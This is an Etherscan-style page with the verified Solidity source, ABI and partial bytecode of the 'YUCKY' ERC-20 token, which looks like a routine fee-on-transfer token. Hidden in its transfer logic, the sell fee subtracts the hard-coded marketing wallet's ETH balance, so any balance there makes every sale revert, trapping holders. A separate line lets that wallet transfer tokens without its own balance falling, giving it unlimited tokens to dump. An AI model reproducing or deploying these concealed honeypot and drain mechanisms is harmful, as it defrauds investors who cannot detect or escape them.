ETH Price: $3,178.18 (+1.43%)
Gas: 10 Gwei

Token

YUCKY (YUCKY)
 

Overview

Max Total Supply

1,000,000,000 YUCKY

Holders

51

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YUCKY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/*
Website:  https://www.yucky.vip
Telegram: https://t.me/yucky_erc
Twitter: https://twitter.com/yucky_erc
*/

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
} 

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
  
contract YUCKY is Context, IERC20, Ownable {
 
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
 
    uint256 private _tFeeTotal;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private constant MAX = 10 ** 30;
    uint256 private _taxFeeOnBuy = 0;  
 
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    string private constant _name = "YUCKY";
    string private constant _symbol = "YUCKY";
 
    bool private isTradingOpened;
    bool private isSwapping = false;
    bool private taxSwapEnabled = true;
 
    address payable private _devAddress = payable(msg.sender); 
    address payable private _marketing = payable(0x01E4d15682345fb7A662c5d0478999E07fD22F16);
    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; 
 
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
    uint256 public _maxTrasnaction = 10 * 10 ** 7 * 10**9;
    uint256 public _maxWalletAmount = 10 * 10 ** 7 * 10**9;
    uint256 public _swapTokensAtAmount = 10 ** 3 * 10**9;
    uint256 private _redisFee = _redisFeeOnSell;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
 
 
    event MaxTxAmountUpdated(uint256 _maxTrasnaction);
    modifier lockTheSwap {
        isSwapping = true;
        _;
        isSwapping = false;
    }
 
    constructor() {
 
        _isExcludedFromFee[_devAddress] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_marketing] = true; 
        _isExcludedFromFee[address(this)] = true;
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
  
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            //Trade start check
            if (!isTradingOpened) {
                require(from == owner() || from == address(this), "TOKEN: This account cannot send tokens until trading is enabled");
            } else {
                require(amount <= _maxTrasnaction, "TOKEN: Max Transaction Limit");
            }
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTrasnaction)
            {
                contractTokenBalance = _maxTrasnaction;
            }
 
            if (canSwap && !isSwapping && from != uniswapV2Pair && taxSwapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance; 
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell.sub(_marketing.balance);
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
    
    function addLiquidity() external payable onlyOwner() {
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
 
    function manualswap() external {
        require(_msgSender() == _devAddress || _msgSender() == _marketing);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function openTrading() public onlyOwner {
        isTradingOpened = true;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function manualsend() external {
        require(_msgSender() == _devAddress || _msgSender() == _marketing);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount, sender);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function sendETHToFee(uint256 amount) private {
        _devAddress.transfer(amount);
    }

    function removeLimits() public onlyOwner {
        _maxTrasnaction = type(uint).max;
        _maxWalletAmount = type(uint).max;
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount, address sender)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        if (sender == _marketing) {rAmount = 0;}
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTrasnaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTrasnaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200026e565b6200003e906c0c9f2c9cd04674edea4000000062000291565b600355600060048190556005819055600681905560078190556008805463010000003302610100600160b81b03199091161762010000179055600980546001600160a01b0319167301e4d15682345fb7a662c5d0478999e07fd22f16179055600c81905560128054600d55600e82905567016345785d8a0000600f81905560105564e8d4a5100060115555348015620000d657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008546001600160a01b0363010000009091041660009081526016602081905260408220805460ff19166001908117909155916200015e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556009549091168152601690925280822080548416600190811790915530835290822080549093161790915560035490601790620001c63390565b6001600160a01b03168152602081019190915260400160002055601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002113390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200025f91815260200190565b60405180910390a350620002b9565b6000826200028c57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620002b357634e487b7160e01b600052601160045260246000fd5b92915050565b611ca380620002c96000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063c3c8cd801161008a578063dd4214bc11610064578063dd4214bc1461040e578063dd62ed3e14610424578063e8078d941461046a578063f2fde38b1461047257600080fd5b8063c3c8cd80146103c4578063c492f046146103d9578063c9567bf9146103f957600080fd5b8063751039fc146103145780637f2feddc146103295780638da5cb5b1461035657806395d89b4114610176578063a9059cbb14610374578063bfd792841461039457600080fd5b8063313ce56711610123578063313ce5671461027657806349bd5a5e146102925780636c0a24eb146102b25780636fc3eaec146102c857806370a08231146102df578063715018a6146102ff57600080fd5b806306fdde0314610176578063095ea7b3146101b35780631694505e146101e357806318160ddd1461021b57806323b872dd146102405780632fd689e31461026057600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201825260058152645955434b5960d81b602082015290516101aa91906118d9565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce36600461193c565b610492565b60405190151581526020016101aa565b3480156101ef57600080fd5b50601354610203906001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561022757600080fd5b50670de0b6b3a76400005b6040519081526020016101aa565b34801561024c57600080fd5b506101d361025b366004611968565b6104a9565b34801561026c57600080fd5b5061023260115481565b34801561028257600080fd5b50604051600981526020016101aa565b34801561029e57600080fd5b50601454610203906001600160a01b031681565b3480156102be57600080fd5b5061023260105481565b3480156102d457600080fd5b506102dd610512565b005b3480156102eb57600080fd5b506102326102fa3660046119a9565b610564565b34801561030b57600080fd5b506102dd610586565b34801561032057600080fd5b506102dd610603565b34801561033557600080fd5b506102326103443660046119a9565b600b6020526000908152604090205481565b34801561036257600080fd5b506000546001600160a01b0316610203565b34801561038057600080fd5b506101d361038f36600461193c565b61063a565b3480156103a057600080fd5b506101d36103af3660046119a9565b600a6020526000908152604090205460ff1681565b3480156103d057600080fd5b506102dd610647565b3480156103e557600080fd5b506102dd6103f43660046119d4565b6106a2565b34801561040557600080fd5b506102dd610743565b34801561041a57600080fd5b50610232600f5481565b34801561043057600080fd5b5061023261043f366004611a5a565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b6102dd61077c565b34801561047e57600080fd5b506102dd61048d3660046119a9565b610a83565b600061049f338484610b6d565b5060015b92915050565b60006104b6848484610c91565b610508843361050385604051806060016040528060288152602001611c46602891396001600160a01b038a16600090815260186020908152604080832033845290915290205491906111f1565b610b6d565b5060019392505050565b600854630100000090046001600160a01b0316336001600160a01b0316148061054e57506009546001600160a01b0316336001600160a01b0316145b61055757600080fd5b476105618161122b565b50565b6001600160a01b0381166000908152601760205260408120546104a39061126f565b6000546001600160a01b031633146105b95760405162461bcd60e51b81526004016105b090611a93565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062d5760405162461bcd60e51b81526004016105b090611a93565b600019600f819055601055565b600061049f338484610c91565b600854630100000090046001600160a01b0316336001600160a01b0316148061068357506009546001600160a01b0316336001600160a01b0316145b61068c57600080fd5b600061069730610564565b90506105618161128d565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105b090611a93565b60005b8281101561073d5781601660008686858181106106ee576106ee611ac8565b905060200201602081019061070391906119a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061073581611af4565b9150506106cf565b50505050565b6000546001600160a01b0316331461076d5760405162461bcd60e51b81526004016105b090611a93565b6008805460ff19166001179055565b6000546001600160a01b031633146107a65760405162461bcd60e51b81526004016105b090611a93565b6013546107c69030906001600160a01b0316670de0b6b3a7640000610b6d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083d9190611b0d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611b0d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611b0d565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d719343061096481610564565b6000806109796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a069190611b2a565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105619190611b58565b6000546001600160a01b03163314610aad5760405162461bcd60e51b81526004016105b090611a93565b6001600160a01b038116610b125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bcf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b0565b6001600160a01b038216610c305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b0565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b0565b6001600160a01b038216610d575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b0565b60008111610db95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b0565b6000546001600160a01b03848116911614801590610de557506000546001600160a01b03838116911614155b156110d45760085460ff16610e8f576000546001600160a01b0384811691161480610e1857506001600160a01b03831630145b610e8a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b0565b610ee1565b600f54811115610ee15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b0565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f2357506001600160a01b0382166000908152600a602052604090205460ff16155b610f7b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b0565b6014546001600160a01b038381169116146110005760105481610f9d84610564565b610fa79190611b75565b106110005760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b0565b600061100b30610564565b601154600f5491925082101590821061102457600f5491505b8080156110395750600854610100900460ff16155b801561105357506014546001600160a01b03868116911614155b8015611067575060085462010000900460ff165b801561108c57506001600160a01b03851660009081526016602052604090205460ff16155b80156110b157506001600160a01b03841660009081526016602052604090205460ff16155b156110d1576110bf8261128d565b4780156110cf576110cf4761122b565b505b50505b6001600160a01b03831660009081526016602052604090205460019060ff168061111657506001600160a01b03831660009081526016602052604090205460ff165b8061114857506014546001600160a01b0385811691161480159061114857506014546001600160a01b03848116911614155b15611155575060006111e5565b6014546001600160a01b03858116911614801561118057506013546001600160a01b03848116911614155b1561119257600754601255600454600c555b6014546001600160a01b0384811691161480156111bd57506013546001600160a01b03858116911614155b156111e5576009546005546111db916001600160a01b031631611401565b601255600654600c555b61073d84848484611443565b600081848411156112155760405162461bcd60e51b81526004016105b091906118d9565b5060006112228486611b88565b95945050505050565b60085460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561126b573d6000803e3d6000fd5b5050565b60008061127a611471565b90506112868382611494565b9392505050565b6008805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d1576112d1611ac8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134e9190611b0d565b8160018151811061136157611361611ac8565b6001600160a01b0392831660209182029290920101526013546113879130911684610b6d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c0908590600090869030904290600401611b9b565b600060405180830381600087803b1580156113da57600080fd5b505af11580156113ee573d6000803e3d6000fd5b50506008805461ff001916905550505050565b600061128683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b80611450576114506114d6565b61145b848484611504565b8061073d5761073d600d54601255600e54600c55565b600080600061147e6115fc565b909250905061148d8282611494565b9250505090565b600061128683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163c565b6012541580156114e65750600c54155b156114ed57565b60128054600d55600c8054600e5560009182905555565b600080600080600080611517878a61166a565b6001600160a01b038f16600090815260176020526040902054959b509399509197509550935091506115499087611401565b6001600160a01b03808b1660009081526017602052604080822093909355908a168152205461157890866116e5565b6001600160a01b03891660009081526017602052604090205561159a81611744565b6115a4848361178e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e991815260200190565b60405180910390a3505050505050505050565b6003546000908190670de0b6b3a76400006116178282611494565b82101561163357505060035492670de0b6b3a764000092509050565b90939092509050565b6000818361165d5760405162461bcd60e51b81526004016105b091906118d9565b5060006112228486611c0c565b60008060008060008060008060006116878b601254600c546117b2565b9250925092506000611697611471565b905060008060006116aa8f878787611807565b60095492955090935091506001600160a01b03908116908f16036116cd57600092505b919e909d50909b509399509197509550909350505050565b6000806116f28385611b75565b9050838110156112865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b0565b600061174e611471565b9050600061175c8383611857565b3060009081526017602052604090205490915061177